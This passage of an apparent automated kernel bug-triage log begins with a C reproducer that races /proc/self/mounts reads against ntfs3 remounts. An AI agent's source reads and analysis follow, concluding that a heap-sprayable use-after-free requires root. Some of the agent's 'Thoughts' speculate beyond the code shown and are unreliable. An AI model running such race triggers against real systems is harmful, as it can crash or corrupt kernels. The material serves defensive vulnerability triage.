PIN_TO_CPU(idx % num_cpus);
}
char buf[4096];
while (!__atomic_load_n(&stop, __ATOMIC_RELAXED)) {
int fd = open("/proc/self/mounts", O_RDONLY);
if (fd >= 0) {
while (read(fd, buf, sizeof(buf)) > 0) {}
close(fd);
}
}
return NULL;
}
void *remount_thread(void *arg) {
int idx = (int)(intptr_t)arg;
int num_cpus = sysconf(_SC_NPROCESSORS_ONLN);
if (num_cpus > 0) {
PIN_TO_CPU((NUM_READERS + idx) % num_cpus);
}
while (!__atomic_load_n(&stop, __ATOMIC_RELAXED)) {
mount(loop_name, "./mnt_dir", "ntfs3", MS_REMOUNT, "delalloc,force");
mount(loop_name, "./mnt_dir", "ntfs3", MS_REMOUNT, "prealloc,force");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
int res;
int img_fd = syscall(SYS_memfd_create, "ntfs_img", 0);
if (img_fd < 0) {
printf("[-] Failed to memfd_create: %s\n", strerror(errno));
exit(1);
}
printf("[+] memfd_create successful.\n");
res = write_minimal_ntfs(img_fd);
if (res < 0) {
printf("[-] Failed to write_minimal_ntfs: %s\n", strerror(errno));
exit(1);
}
printf("[+] write_minimal_ntfs successful.\n");
int ctl_fd = open("/dev/loop-control", O_RDWR);
if (ctl_fd < 0) {
printf("[-] Failed to open /dev/loop-control: %s\n", strerror(errno));
exit(1);
}
printf("[+] open /dev/loop-control successful.\n");
int loop_num = ioctl(ctl_fd, LOOP_CTL_GET_FREE);
if (loop_num < 0) {
printf("[-] Failed to ioctl LOOP_CTL_GET_FREE: %s\n", strerror(errno));
exit(1);
}
printf("[+] ioctl LOOP_CTL_GET_FREE successful.\n");
res = close(ctl_fd);
if (res < 0) {
printf("[-] Failed to close ctl_fd: %s\n", strerror(errno));
exit(1);
}
printf("[+] close ctl_fd successful.\n");
sprintf(loop_name, "/dev/loop%d", loop_num);
int loop_fd = open(loop_name, O_RDWR);
if (loop_fd < 0) {
printf("[-] Failed to open %s: %s\n", loop_name, strerror(errno));
exit(1);
}
printf("[+] open %s successful.\n", loop_name);
res = ioctl(loop_fd, LOOP_SET_FD, img_fd);
if (res < 0) {
printf("[-] Failed to ioctl LOOP_SET_FD: %s\n", strerror(errno));
exit(1);
}
printf("[+] ioctl LOOP_SET_FD successful.\n");
res = close(img_fd);
if (res < 0) {
printf("[-] Failed to close img_fd: %s\n", strerror(errno));
exit(1);
}
printf("[+] close img_fd successful.\n");
res = close(loop_fd);
if (res < 0) {
printf("[-] Failed to close loop_fd: %s\n", strerror(errno));
exit(1);
}
printf("[+] close loop_fd successful.\n");
res = mkdir("./mnt_dir", 0777);
if (res < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir ./mnt_dir: %s\n", strerror(errno));
exit(1);
}
printf("[+] mkdir ./mnt_dir successful.\n");
int retries = 0;
while (1) {
res = mount(loop_name, "./mnt_dir", "ntfs3", 0, "force");
if (res == 0) break;
if (errno == EBUSY && retries++ < 100) {
usleep(10000);
continue;
}
printf("[-] Failed to mount: %s\n", strerror(errno));
exit(1);
}
printf("[+] mount successful.\n");
pthread_t t1[NUM_READERS], t2[NUM_REMOUNTERS];
for (int i = 0; i < NUM_READERS; i++) {
res = pthread_create(&t1[i], NULL, reader_thread, (void *)(intptr_t)i);
if (res != 0) {
printf("[-] Failed to pthread_create reader_thread: %s\n", strerror(res));
exit(1);
}
}
for (int i = 0; i < NUM_REMOUNTERS; i++) {
res = pthread_create(&t2[i], NULL, remount_thread, (void *)(intptr_t)i);
if (res != 0) {
printf("[-] Failed to pthread_create remount_thread: %s\n", strerror(res));
exit(1);
}
}
printf("[+] pthread_create successful.\n");
TIMER_START(start);
while (TIMER_NOT_EXPIRED(start, 5.0)) {
usleep(100000);
}
__atomic_store_n(&stop, 1, __ATOMIC_RELAXED);
for (int i = 0; i < NUM_READERS; i++) {
pthread_join(t1[i], NULL);
}
for (int i = 0; i < NUM_REMOUNTERS; i++) {
pthread_join(t2[i], NULL);
}
printf("[+] Threads joined.\n");
res = umount("./mnt_dir");
if (res < 0) {
printf("[-] Failed to umount ./mnt_dir: %s\n", strerror(errno));
} else {
printf("[+] umount ./mnt_dir successful.\n");
}
loop_fd = open(loop_name, O_RDWR);
if (loop_fd >= 0) {
res = ioctl(loop_fd, LOOP_CLR_FD, 0);
if (res < 0) {
printf("[-] Failed to ioctl LOOP_CLR_FD: %s\n", strerror(errno));
} else {
printf("[+] ioctl LOOP_CLR_FD successful.\n");
}
res = close(loop_fd);
if (res < 0) {
printf("[-] Failed to close loop_fd: %s\n", strerror(errno));
} else {
printf("[+] close loop_fd successful.\n");
}
}
res = rmdir("./mnt_dir");
if (res < 0) {
printf("[-] Failed to rmdir ./mnt_dir: %s\n", strerror(errno));
} else {
printf("[+] rmdir ./mnt_dir successful.\n");
}
sleep(1);
return 0;
}
Reply: An analysis of the bug report and the kernel source code reveals the following:
**Bug Mechanism:**
The bug is a Use-After-Free (UAF) in `ntfs_show_options()`. When an `ntfs3` filesystem is remounted, `ntfs_fs_reconfigure()` allocates a new `ntfs_mount_options` structure and swaps it with the old one (`sbi->options`). The old options structure is then freed in `ntfs_fs_free()` via `put_mount_options()`. However, `ntfs_show_options()` (which is called when reading `/proc/mounts`) accesses `sbi->options` without any locking or RCU protection. If a user reads `/proc/mounts` concurrently with a remount operation, `ntfs_show_options()` can dereference the `options` pointer after it has been freed, leading to a Use-After-Free on a `kmalloc-32` slab object.
**Exploitability:**
Yes. This is a classic Use-After-Free vulnerability on a `kmalloc-32` object. An attacker who can trigger this race condition could potentially spray the heap to reallocate the freed object with controlled data, leading to an information leak or privilege escalation by hijacking control flow or corrupting sensitive data.
**Access & Privileges:**
The `ntfs3` filesystem does not have the `FS_USERNS_MOUNT` flag set in its `file_system_type` definition (`FS_REQUIRES_DEV | FS_ALLOW_IDMAP`). Therefore, mounting and remounting an `ntfs3` filesystem requires `CAP_SYS_ADMIN` in the initial user namespace.
- It cannot be triggered by unprivileged users.
- It cannot be triggered from within an unprivileged user namespace.
**Other Triggers:**
- **Malicious Filesystem:** The bug is a race condition in the VFS/mount options handling logic, not a vulnerability in parsing a malicious filesystem image.
- **Peripheral/Network/Remote:** The bug requires local root privileges to mount and remount the filesystem, so it cannot be triggered remotely or simply by plugging in a peripheral (unless the system has an auto-mounter script that continuously remounts the drive while reading `/proc/mounts`, which is highly unlikely).
|
| 6/2 |
2026/08/09 04:30 |
llm |
expert |
0m
Model:
Tokens:
input: 20241
output: 20
thoughts: 463
Thoughts: **KASAN Slab-Use-After-Free in NTFS Filesystem: Analysis**
Okay, so I'm looking at this bug report and it's screaming "use-after-free" in `ntfs_show_options`. Specifically, a KASAN slab-use-after-free, reading 2 bytes at `ffff888030028d1c`. The allocation stack traces and the free stack traces are really pointing directly at `ntfs_init_fs_context` and `put_fs_context`, which is pretty telling. `ntfs_init_fs_context` is allocating something, and `put_fs_context` is the one freeing it - that's where the problem is.
Let me dig into those stack traces. The allocation happens in task 6027, from what I'm seeing: `ntfs_init_fs_context` at line 1862 of `fs/ntfs3/super.c`, all the way up through `path_mount`. And the free happens in task 6026: `kfree` -> `put_fs_context` at line 498 of `fs/fs_context.c`, also triggered by `path_mount`. So, the remount path is clearly involved.
Now, where's the crash actually happening? It's in `ntfs_show_options` at line 762 of `fs/ntfs3/super.c`, which is being called through `show_vfsmnt` and then `seq_read_iter`. This makes sense; we're showing options, likely reading memory that was freed.
Time to look directly at the code in `fs/ntfs3/super.c` around lines 762 and 1862. I need to understand what's being allocated and freed, and what's accessing that memory in `ntfs_show_options`. Let's see if we can identify the race condition or the flaw in the locking around that memory.
|
| 7/2 |
2026/08/09 04:30 |
tool |
grepper |
0m
Args: map[Expression:ntfs_show_options]
Results: map[Output:fs/ntfs/inode.c=2281=void ntfs_evict_big_inode(struct inode *vi)
--
fs/ntfs/inode.c-2341-/*
fs/ntfs/inode.c:2342: * ntfs_show_options - show mount options in /proc/mounts
fs/ntfs/inode.c-2343- * @sf: seq_file in which to write our mount options
--
fs/ntfs/inode.c-2350- */
fs/ntfs/inode.c:2351:int ntfs_show_options(struct seq_file *sf, struct dentry *root)
fs/ntfs/inode.c-2352-{
--
fs/ntfs/inode.h=327=int ntfs_read_inode_mount(struct inode *vi);
fs/ntfs/inode.h:328:int ntfs_show_options(struct seq_file *sf, struct dentry *root);
fs/ntfs/inode.h-329-int ntfs_truncate_vfs(struct inode *vi, loff_t new_size, loff_t i_size);
--
fs/ntfs/super.c=29=static struct workqueue_struct *ntfs_wq;
fs/ntfs/super.c-30-
fs/ntfs/super.c:31:/* Error constants/strings used in inode.c::ntfs_show_options(). */
fs/ntfs/super.c-32-enum {
--
fs/ntfs/super.c=2160=static const struct super_operations ntfs_sops = {
--
fs/ntfs/super.c-2169- .evict_inode = ntfs_evict_big_inode,
fs/ntfs/super.c:2170: .show_options = ntfs_show_options, /* Show mount options in proc. */
fs/ntfs/super.c-2171-};
--
fs/ntfs3/super.c=727=static int ntfs_statfs(struct dentry *dentry, struct kstatfs *buf)
--
fs/ntfs3/super.c-752-
fs/ntfs3/super.c:753:static int ntfs_show_options(struct seq_file *m, struct dentry *root)
fs/ntfs3/super.c-754-{
--
fs/ntfs3/super.c=856=static const struct super_operations ntfs_sops = {
--
fs/ntfs3/super.c-861- .statfs = ntfs_statfs,
fs/ntfs3/super.c:862: .show_options = ntfs_show_options,
fs/ntfs3/super.c-863- .shutdown = ntfs_shutdown,
]
|
| 8/2 |
2026/08/09 04:30 |
llm |
expert |
0m
Model:
Tokens:
input: 21894
output: 37
thoughts: 22
Thoughts: Here's a summary of my thought process, as requested:
**Diving into `fs/ntfs3/super.c`**
Okay, time to get my hands dirty. I'm thinking I need to delve into `fs/ntfs3/super.c`. Specifically, I'm aiming for around line 762. That area should be interesting, as it's often where the critical core functions for the NTFS3 superblock reside. I expect to find some key pieces of code related to the filesystem's metadata structures or initialization procedures there. The exact function will depend on the implementation, but this is the likely location. I'll be looking for clues relating to the filesystem superblock functions, the heart of the on-disk data structures. It's a good starting point to understand the core functions. Let's see what we can unearth!
|
| 9/2 |
2026/08/09 04:31 |
tool |
read-file |
0m
Args: map[File:fs/ntfs3/super.c FirstLine:740 LineCount:50]
Results: map[Contents: 740: buf->f_bfree -= da_clusters;
741: } else {
742: buf->f_bfree = 0;
743: }
744: buf->f_bavail = buf->f_bfree;
745:
746: buf->f_fsid.val[0] = sbi->volume.ser_num;
747: buf->f_fsid.val[1] = sbi->volume.ser_num >> 32;
748: buf->f_namelen = NTFS_NAME_LEN;
749:
750: return 0;
751: }
752:
753: static int ntfs_show_options(struct seq_file *m, struct dentry *root)
754: {
755: struct super_block *sb = root->d_sb;
756: struct ntfs_sb_info *sbi = sb->s_fs_info;
757: struct ntfs_mount_options *opts = sbi->options;
758: struct user_namespace *user_ns = seq_user_ns(m);
759:
760: seq_printf(m, ",uid=%u", from_kuid_munged(user_ns, opts->fs_uid));
761: seq_printf(m, ",gid=%u", from_kgid_munged(user_ns, opts->fs_gid));
762: if (opts->dmask)
763: seq_printf(m, ",dmask=%04o", opts->fs_dmask_inv ^ 0xffff);
764: if (opts->fmask)
765: seq_printf(m, ",fmask=%04o", opts->fs_fmask_inv ^ 0xffff);
766: if (opts->sys_immutable)
767: seq_puts(m, ",sys_immutable");
768: if (opts->discard)
769: seq_puts(m, ",discard");
770: if (opts->force)
771: seq_puts(m, ",force");
772: if (opts->sparse)
773: seq_puts(m, ",sparse");
774: if (opts->nohidden)
775: seq_puts(m, ",nohidden");
776: if (opts->hide_dot_files)
777: seq_puts(m, ",hide_dot_files");
778: if (opts->windows_names)
779: seq_puts(m, ",windows_names");
780: if (opts->showmeta)
781: seq_puts(m, ",showmeta");
782: if (sb->s_flags & SB_POSIXACL)
783: seq_puts(m, ",acl");
784: if (opts->nls)
785: seq_printf(m, ",iocharset=%s", opts->nls->charset);
786: else
787: seq_puts(m, ",iocharset=utf8");
788: if (opts->prealloc)
789: seq_puts(m, ",prealloc");
]
|
| 10/2 |
2026/08/09 04:31 |
llm |
expert |
0m
Model:
Tokens:
input: 23036
output: 38
thoughts: 72
Thoughts: Here's my analysis of what's going on:
**Deep Dive into an NTFS3 Bug**
Okay, so I've got a crash, and the stack trace points directly to `fs/ntfs3/super.c:762`. Immediately, my spidey senses are tingling – that's a key spot in the superblock handling code. I can see that `opts->dmask` is the culprit. That’s a pointer dereference that failed, meaning `opts` is either null or doesn't have `dmask` populated correctly.
Alright, a quick recall: `opts` is, in this context, synonymous with `sbi->options`, which are the mount options for the NTFS volume. Makes sense. I need to track where these options are initialized and populated. I’ll jump over to the `ntfs_init_fs_context` function defined at `fs/ntfs3/super.c:1862`. That's where the mount options are likely being handled, initialized and parsed. I'm betting that's where the root cause of this memory issue lies. Time to dig in and trace the flow.
|
| 11/2 |
2026/08/09 04:31 |
tool |
read-file |
0m
Args: map[File:fs/ntfs3/super.c FirstLine:1850 LineCount:50]
Results: map[Contents:1850:
1851: /*
1852: * ntfs_init_fs_context - Initialize sbi and opts
1853: *
1854: * This will called when mount/remount. We will first initialize
1855: * options so that if remount we can use just that.
1856: */
1857: static int ntfs_init_fs_context(struct fs_context *fc)
1858: {
1859: struct ntfs_mount_options *opts;
1860: struct ntfs_sb_info *sbi;
1861:
1862: opts = kzalloc_obj(struct ntfs_mount_options, GFP_NOFS);
1863: if (!opts)
1864: return -ENOMEM;
1865:
1866: /* Default options. */
1867: opts->fs_uid = current_uid();
1868: opts->fs_gid = current_gid();
1869: opts->fs_fmask_inv = ~current_umask();
1870: opts->fs_dmask_inv = ~current_umask();
1871: opts->prealloc = 1;
1872:
1873: #ifdef CONFIG_NTFS3_FS_POSIX_ACL
1874: /* Set the default value 'acl' */
1875: fc->sb_flags |= SB_POSIXACL;
1876: #endif
1877:
1878: if (fc->purpose == FS_CONTEXT_FOR_RECONFIGURE)
1879: goto ok;
1880:
1881: sbi = kzalloc_obj(struct ntfs_sb_info, GFP_NOFS);
1882: if (!sbi)
1883: goto free_opts;
1884:
1885: sbi->upcase = kvmalloc(0x10000 * sizeof(short), GFP_KERNEL);
1886: if (!sbi->upcase)
1887: goto free_sbi;
1888:
1889: ratelimit_state_init(&sbi->msg_ratelimit, DEFAULT_RATELIMIT_INTERVAL,
1890: DEFAULT_RATELIMIT_BURST);
1891:
1892: mutex_init(&sbi->compress.mtx_lznt);
1893: #ifdef CONFIG_NTFS3_LZX_XPRESS
1894: mutex_init(&sbi->compress.mtx_xpress);
1895: mutex_init(&sbi->compress.mtx_lzx);
1896: #endif
1897:
1898: fc->s_fs_info = sbi;
1899: ok:
]
|
| 12/2 |
2026/08/09 04:31 |
llm |
expert |
0m
Model:
Tokens:
input: 24164
output: 38
thoughts: 34
Thoughts: Here's my attempt at summarizing the thought process, tailored for an expert audience:
**Unpacking the NTFS Filesystem Context**
Okay, so I'm digging into this `ntfs_init_fs_context` function. My initial question is: hang on a minute, `fc->fs_private` is actually getting assigned the `opts` structure? Right, let me just back up and confirm what I *think* is happening. Is that the correct assignment? I need to know where this pointer is initialized, when it is initialized and where it is used. I'll need to follow the trail from there. Let me read on and make sure I haven't missed something fundamental. I need to understand the relationship between the filesystem context and these mounting options. This is a critical building block. I need a clear picture before I proceed.
|
| 13/2 |
2026/08/09 04:31 |
tool |
read-file |
0m
Args: map[File:fs/ntfs3/super.c FirstLine:1900 LineCount:50]
Results: map[Contents:1900: fc->fs_private = opts;
1901: fc->ops = &ntfs_context_ops;
1902:
1903: return 0;
1904: free_sbi:
1905: kfree(sbi);
1906: free_opts:
1907: kfree(opts);
1908: return -ENOMEM;
1909: }
1910:
1911: static void ntfs3_kill_sb(struct super_block *sb)
1912: {
1913: struct ntfs_sb_info *sbi = sb->s_fs_info;
1914:
1915: kill_block_super(sb);
1916:
1917: if (sbi->options)
1918: put_mount_options(sbi->options);
1919: ntfs3_free_sbi(sbi);
1920: }
1921:
1922: // clang-format off
1923: static struct file_system_type ntfs_fs_type = {
1924: .owner = THIS_MODULE,
1925: .name = "ntfs3",
1926: .init_fs_context = ntfs_init_fs_context,
1927: .parameters = ntfs_fs_parameters,
1928: .kill_sb = ntfs3_kill_sb,
1929: .fs_flags = FS_REQUIRES_DEV | FS_ALLOW_IDMAP,
1930: };
1931:
1932: // clang-format on
1933:
1934: static int __init init_ntfs_fs(void)
1935: {
1936: int err;
1937:
1938: if (IS_ENABLED(CONFIG_NTFS3_FS_POSIX_ACL))
1939: pr_info("ntfs3: Enabled Linux POSIX ACLs support\n");
1940: if (IS_ENABLED(CONFIG_NTFS3_64BIT_CLUSTER))
1941: pr_notice(
1942: "ntfs3: Warning: Activated 64 bits per cluster. Windows does not support this\n");
1943: if (IS_ENABLED(CONFIG_NTFS3_LZX_XPRESS))
1944: pr_info("ntfs3: Read-only LZX/Xpress compression included\n");
1945:
1946: ntfs_create_proc_root();
1947:
1948: err = ntfs3_init_bitmap();
1949: if (err)
]
|
| 14/2 |
2026/08/09 04:31 |
llm |
expert |
0m
Model:
Tokens:
input: 25168
output: 19
thoughts: 80
Thoughts: Here's my understanding of the code snippet, as I'm thinking through it:
**Analyzing Filesystem Reconfiguration**
Okay, so I see a crucial line here: `fc->fs_private = opts;`. This is where the file system's private data structure, let's call it `opts`, is being associated with the file context (`fc`). This is standard practice in these types of situations, as far as I can see.
Now, I notice a remounting scenario; `fc->purpose == FS_CONTEXT_FOR_RECONFIGURE`. This implies a reconfiguration is in progress. Remounts and reconfiguration are where things can get tricky if not handled with care.
I'm starting to piece it together. `ntfs_init_fs_context` allocated the `opts` structure and set that crucial `fc->fs_private` pointer. The next logical step, I'd expect, is that `ntfs_reconfigure` is called to... well, reconfigure. Let's dig into that `ntfs_reconfigure` function. That’s the key here. I'll focus on what it does with this `opts` structure we are now using.
|
| 15/2 |
2026/08/09 04:31 |
tool |
grepper |
0m
Args: map[Expression:ntfs_reconfigure]
Results: map[Output:fs/ntfs/super.c=123=static int ntfs_parse_param(struct fs_context *fc, struct fs_parameter *param)
--
fs/ntfs/super.c-264-
fs/ntfs/super.c:265:static int ntfs_reconfigure(struct fs_context *fc)
fs/ntfs/super.c-266-{
--
fs/ntfs/super.c=2529=static const struct fs_context_operations ntfs_context_ops = {
--
fs/ntfs/super.c-2532- .free = ntfs_free_fs_context,
fs/ntfs/super.c:2533: .reconfigure = ntfs_reconfigure,
fs/ntfs/super.c-2534-};
]
|
| 16/2 |
2026/08/09 04:31 |
llm |
expert |
0m
Model:
Tokens:
input: 25735
output: 20
thoughts: 58
Thoughts: Here's my summary, as the thought process unfolds:
**Digging into the NTFS Issue**
Okay, hold on a second. `fs/ntfs/super.c`... that's the *old* NTFS driver, isn't it? The crash log clearly points to `fs/ntfs3/super.c`, so we're dealing with the newer, more advanced implementation. Right, let's refocus. I need to be looking at `ntfs_context_ops` within that `fs/ntfs3/super.c` file. That's where the core operations context should be defined. Let's see what's going on in there.
|
| 17/2 |
2026/08/09 04:31 |
tool |
grepper |
0m
Args: map[Expression:ntfs_context_ops]
Results: map[Output:fs/ntfs/super.c=2521=static void ntfs_free_fs_context(struct fs_context *fc)
--
fs/ntfs/super.c-2528-
fs/ntfs/super.c:2529:static const struct fs_context_operations ntfs_context_ops = {
fs/ntfs/super.c-2530- .parse_param = ntfs_parse_param,
--
fs/ntfs/super.c=2536=static int ntfs_init_fs_context(struct fs_context *fc)
--
fs/ntfs/super.c-2563- fc->s_fs_info = vol;
fs/ntfs/super.c:2564: fc->ops = &ntfs_context_ops;
fs/ntfs/super.c-2565- return 0;
--
fs/ntfs3/super.c=1828=static void ntfs_fs_free(struct fs_context *fc)
--
fs/ntfs3/super.c-1842-// clang-format off
fs/ntfs3/super.c:1843:static const struct fs_context_operations ntfs_context_ops = {
fs/ntfs3/super.c-1844- .parse_param = ntfs_fs_parse_param,
--
fs/ntfs3/super.c=1857=static int ntfs_init_fs_context(struct fs_context *fc)
--
fs/ntfs3/super.c-1900- fc->fs_private = opts;
fs/ntfs3/super.c:1901: fc->ops = &ntfs_context_ops;
fs/ntfs3/super.c-1902-
]
|
| 18/2 |
2026/08/09 04:31 |
llm |
expert |
0m
Model:
Tokens:
input: 26420
output: 38
thoughts: 22
Thoughts: Here's a summary of my thought process, as requested:
**Diving into the NTFS3 Superblock Code**
Okay, time to dig into the `fs/ntfs3/super.c` file, specifically around line 1843. I need to refresh my memory on how the NTFS3 superblock is handled. Let's see... I'm probably looking at the core structures and how the filesystem metadata is initialized and validated. I'm guessing that line 1843 might be within a function related to either reading the superblock from disk, validating its contents after a mount, or perhaps even handling an updated superblock during a resize or other critical operation. My intuition suggests I'll be looking at checks for the magic number, version, volume serial number, cluster size information, and potentially flags that indicate the state of the volume (clean, dirty, etc.). I need to understand what's happening at this precise location within the code in order to understand how the driver manages persistent state about this filesystem. This could be an important detail for debugging a read/write issue or explaining a kernel panic. I'm ready to get my hands dirty.
|
| 19/2 |
2026/08/09 04:31 |
tool |
read-file |
0m
Args: map[File:fs/ntfs3/super.c FirstLine:1820 LineCount:50]
Results: map[Contents:1820: }
1821:
1822: /*
1823: * ntfs_fs_free - Free fs_context.
1824: *
1825: * Note that this will be called after fill_super and reconfigure
1826: * even when they pass. So they have to take pointers if they pass.
1827: */
1828: static void ntfs_fs_free(struct fs_context *fc)
1829: {
1830: struct ntfs_mount_options *opts = fc->fs_private;
1831: struct ntfs_sb_info *sbi = fc->s_fs_info;
1832:
1833: if (sbi) {
1834: ntfs3_put_sbi(sbi);
1835: ntfs3_free_sbi(sbi);
1836: }
1837:
1838: if (opts)
1839: put_mount_options(opts);
1840: }
1841:
1842: // clang-format off
1843: static const struct fs_context_operations ntfs_context_ops = {
1844: .parse_param = ntfs_fs_parse_param,
1845: .get_tree = ntfs_fs_get_tree,
1846: .reconfigure = ntfs_fs_reconfigure,
1847: .free = ntfs_fs_free,
1848: };
1849: // clang-format on
1850:
1851: /*
1852: * ntfs_init_fs_context - Initialize sbi and opts
1853: *
1854: * This will called when mount/remount. We will first initialize
1855: * options so that if remount we can use just that.
1856: */
1857: static int ntfs_init_fs_context(struct fs_context *fc)
1858: {
1859: struct ntfs_mount_options *opts;
1860: struct ntfs_sb_info *sbi;
1861:
1862: opts = kzalloc_obj(struct ntfs_mount_options, GFP_NOFS);
1863: if (!opts)
1864: return -ENOMEM;
1865:
1866: /* Default options. */
1867: opts->fs_uid = current_uid();
1868: opts->fs_gid = current_gid();
1869: opts->fs_fmask_inv = ~current_umask();
]
|
| 20/2 |
2026/08/09 04:31 |
llm |
expert |
0m
Model:
Tokens:
input: 27464
output: 21
thoughts: 13
Thoughts: Okay, let's dive into `ntfs_fs_reconfigure`. I'm going to approach this with the understanding that this is likely a critical utility within an NTFS filesystem implementation, potentially for managing or altering core parameters. Given my background, I'm already anticipating areas of interest:
**Analyzing `ntfs_fs_reconfigure`**
First, I'm expecting to see how this function handles the complexities of the NTFS metadata structures. Specifically, I want to see how it interacts with the Master File Table (MFT), possibly managing allocation of attributes or data runs. I'm keen to understand if it implements any journaling or transactional capabilities to ensure data consistency during reconfiguration, minimizing the risk of corruption.
Next, the function's parameter set is vital. What are the potential reconfigurations? Are we talking about changes to volume size, cluster size, security settings, or perhaps enabling/disabling specific NTFS features like compression or encryption? I'm going to look closely at input validation – a critical area for avoiding security vulnerabilities or data integrity issues. How robust is the error handling?
I’m also very interested in how `ntfs_fs_reconfigure` interacts with other file system components or kernel subsystems. Does it need to lock the volume, for instance, or coordinate with the volume manager? Are there any potential concurrency issues to be wary of? Any interaction with any caching layers?
Finally, considering performance, I'm curious about the function's efficiency. Does it perform operations in-place, or does it require a complete re-write of the volume metadata? Optimization of this function is vital for large NTFS volumes, as a poorly performing reconfiguration could take a long time and potentially be an operational hazard.
|
| 21/2 |
2026/08/09 04:31 |
tool |
grepper |
0m
Args: map[Expression:ntfs_fs_reconfigure]
Results: map[Output:fs/ntfs3/super.c=328=static int ntfs_fs_parse_param(struct fs_context *fc,
--
fs/ntfs3/super.c-429-
fs/ntfs3/super.c:430:static int ntfs_fs_reconfigure(struct fs_context *fc)
fs/ntfs3/super.c-431-{
--
fs/ntfs3/super.c=1843=static const struct fs_context_operations ntfs_context_ops = {
--
fs/ntfs3/super.c-1845- .get_tree = ntfs_fs_get_tree,
fs/ntfs3/super.c:1846: .reconfigure = ntfs_fs_reconfigure,
fs/ntfs3/super.c-1847- .free = ntfs_fs_free,
]
|
| 22/2 |
2026/08/09 04:31 |
llm |
expert |
0m
Model:
Tokens:
input: 28091
output: 37
thoughts: 29
Thoughts: Okay, here's my interpretation of that thought process, from an expert's perspective:
**Diving into the NTFS Reconfiguration Code**
Alright, the objective is clear: I need to get my hands dirty and understand how the NTFS3 filesystem reconfigures itself. Specifically, the action to take is to examine the `ntfs_fs_reconfigure` function. Immediately, my mind zeroes in on its physical location in the filesystem tree, I know it's under `fs/ntfs3/super.c`, that's the kernel's NTFS3 driver's super block code, which makes sense. I see the line number `430`, it's useful context because I know if I need more context to understand the code I can easily find the surrounding parts.
Now, let's look and learn what the reconfigure code is doing, maybe I'll find a new trick!
|
| 23/2 |
2026/08/09 04:31 |
tool |
read-file |
0m
Args: map[File:fs/ntfs3/super.c FirstLine:430 LineCount:50]
Results: map[Contents: 430: static int ntfs_fs_reconfigure(struct fs_context *fc)
431: {
432: struct super_block *sb = fc->root->d_sb;
433: struct ntfs_sb_info *sbi = sb->s_fs_info;
434: struct ntfs_mount_options *new_opts = fc->fs_private;
435: int ro_rw;
436:
437: ro_rw = sb_rdonly(sb) && !(fc->sb_flags & SB_RDONLY);
438: if (ro_rw && (sbi->flags & NTFS_FLAGS_NEED_REPLAY)) {
439: errorf(fc,
440: "ntfs3: Couldn't remount rw because journal is not replayed. Please umount/remount instead\n");
441: return -EINVAL;
442: }
443:
444: new_opts->nls = ntfs_load_nls(new_opts->nls_name);
445: if (IS_ERR(new_opts->nls)) {
446: new_opts->nls = NULL;
447: errorf(fc, "ntfs3: Cannot load iocharset %s",
448: new_opts->nls_name);
449: return -EINVAL;
450: }
451: if (new_opts->nls != sbi->options->nls)
452: return invalf(
453: fc,
454: "ntfs3: Cannot use different iocharset when remounting!");
455:
456: if (ro_rw && (sbi->volume.flags & VOLUME_FLAG_DIRTY) &&
457: !new_opts->force) {
458: errorf(fc,
459: "ntfs3: Volume is dirty and \"force\" flag is not set!");
460: return -EINVAL;
461: }
462:
463: sync_filesystem(sb);
464: swap(sbi->options, fc->fs_private);
465:
466: return 0;
467: }
468:
469: #ifdef CONFIG_PROC_FS
470: static struct proc_dir_entry *proc_info_root;
471:
472: /*
473: * ntfs3_volinfo:
474: *
475: * The content of /proc/fs/ntfs3/<dev>/volinfo
476: *
477: * ntfs3.1
478: * cluster size
479: * number of clusters
]
|
| 24/2 |
2026/08/09 04:31 |
llm |
expert |
0m
Model:
Tokens:
input: 29137
output: 38
thoughts: 87
Thoughts: **A Potential Memory Leak, Right Here!**
Okay, so I'm looking at this bit of code and my internal alarm bells are going off. We've got `swap(sbi->options, fc->fs_private);` - a simple swap operation. Fine, but wait a minute… `fc->fs_private` is, as I understand it, the existing options. And immediately after this, we call `ntfs_fs_free`, and that… *frees* `fc->fs_private`.
Hold on, I need to make sure I'm following this correctly. Let me rephrase: `ntfs_fs_free` *frees* what was originally `fc->fs_private`. That swap looks awfully suspicious. It seems to me that `ntfs_fs_free` has the responsibility of freeing the data pointed to by `fc->fs_private` and if a new pointer is stored there by the swap, we might be leaking memory. I need to take a closer look at `ntfs_fs_free` to confirm, but this is immediately concerning.
|
| 25/2 |
2026/08/09 04:31 |
tool |
read-file |
0m
Args: map[File:fs/ntfs3/super.c FirstLine:1828 LineCount:20]
Results: map[Contents:1828: static void ntfs_fs_free(struct fs_context *fc)
1829: {
1830: struct ntfs_mount_options *opts = fc->fs_private;
1831: struct ntfs_sb_info *sbi = fc->s_fs_info;
1832:
1833: if (sbi) {
1834: ntfs3_put_sbi(sbi);
1835: ntfs3_free_sbi(sbi);
1836: }
1837:
1838: if (opts)
1839: put_mount_options(opts);
1840: }
1841:
1842: // clang-format off
1843: static const struct fs_context_operations ntfs_context_ops = {
1844: .parse_param = ntfs_fs_parse_param,
1845: .get_tree = ntfs_fs_get_tree,
1846: .reconfigure = ntfs_fs_reconfigure,
1847: .free = ntfs_fs_free,
]
|
| 26/2 |
2026/08/09 04:31 |
llm |
expert |
0m
Model:
Tokens:
input: 29818
output: 19
thoughts: 9
Thoughts: Okay, here's my attempt at summarizing that thought process, keeping in mind I'm speaking to a fellow expert and I'm aiming for a fulsome rendering of the internal dialogue:
**Investigating `put_mount_options`**
Alright, I'm digging into this code, and the question that's bubbling to the surface is about `put_mount_options`. Now, where exactly does this fit into the broader picture of managing mounts? Is this function responsible for *setting* mount options, perhaps during a remount operation? Or maybe it is involved in *reading* mount options for some reason, for display maybe? Or is it used in both? I want to determine its responsibility precisely. I need to understand its relationship to the kernel's overall mount management infrastructure. Does it interact with specific data structures, like `struct mount` or `struct vfsmount`? What other functions call this one? And, more importantly, what calls *it*? I need to trace the flow, understand the context, and be sure of the function’s purpose, or I'll be spinning my wheels. I'll probably need to look at how it interacts with the VFS layer, perhaps how it handles changes and persistence of mount options. This is important to fully understand the mount behavior. I'll dive in.
|
| 27/2 |
2026/08/09 04:31 |
tool |
grepper |
0m
Args: map[Expression:put_mount_options]
Results: map[Output:fs/ntfs3/super.c=227=void *ntfs_put_shared(void *ptr)
--
fs/ntfs3/super.c-244-
fs/ntfs3/super.c:245:static inline void put_mount_options(struct ntfs_mount_options *options)
fs/ntfs3/super.c-246-{
--
fs/ntfs3/super.c=710=static void ntfs_put_super(struct super_block *sb)
--
fs/ntfs3/super.c-719- if (sbi->options) {
fs/ntfs3/super.c:720: put_mount_options(sbi->options);
fs/ntfs3/super.c-721- sbi->options = NULL;
--
